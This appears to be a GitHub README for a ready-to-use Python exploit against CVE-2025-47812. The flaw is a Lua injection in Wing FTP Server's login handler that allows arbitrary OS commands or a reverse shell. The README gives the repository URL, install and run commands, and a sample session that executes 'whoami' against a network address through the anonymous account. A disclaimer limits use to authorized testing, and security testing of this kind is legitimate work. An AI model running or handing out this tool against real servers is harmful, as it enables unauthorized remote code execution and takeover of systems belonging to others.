
Wing FTP Server RCE via Lua Injection
This exploit leverages a Lua injection vulnerability in Wing FTP Server's login handler (loginok.html) to execute arbitrary operating system commands or gain a reverse shell. It abuses unsanitized Lua code execution through the username parameter.
pip3Install the required packages with:
pip3 install -r requirements.txt
Or manually:
pip3 install requests colorama
git clone https://github.com/0xgh057r3c0n/CVE-2025-47812.git
cd CVE-2025-47812
python3 CVE-2025-47812.py
Run the script:
python3 CVE-2025-47812.py
whoami, id)Target URL (e.g., http://localhost:5466): http://192.168.1.100:5466
Username (e.g., anonymous): anonymous
Your choice (1 or 2): 1
Command to execute (default: whoami): whoami
This tool is provided for educational and authorized security testing purposes only. You are responsible for your actions. Use only on systems you own or are authorized to test.
This project is licensed under the MIT License. See the LICENSE file for details.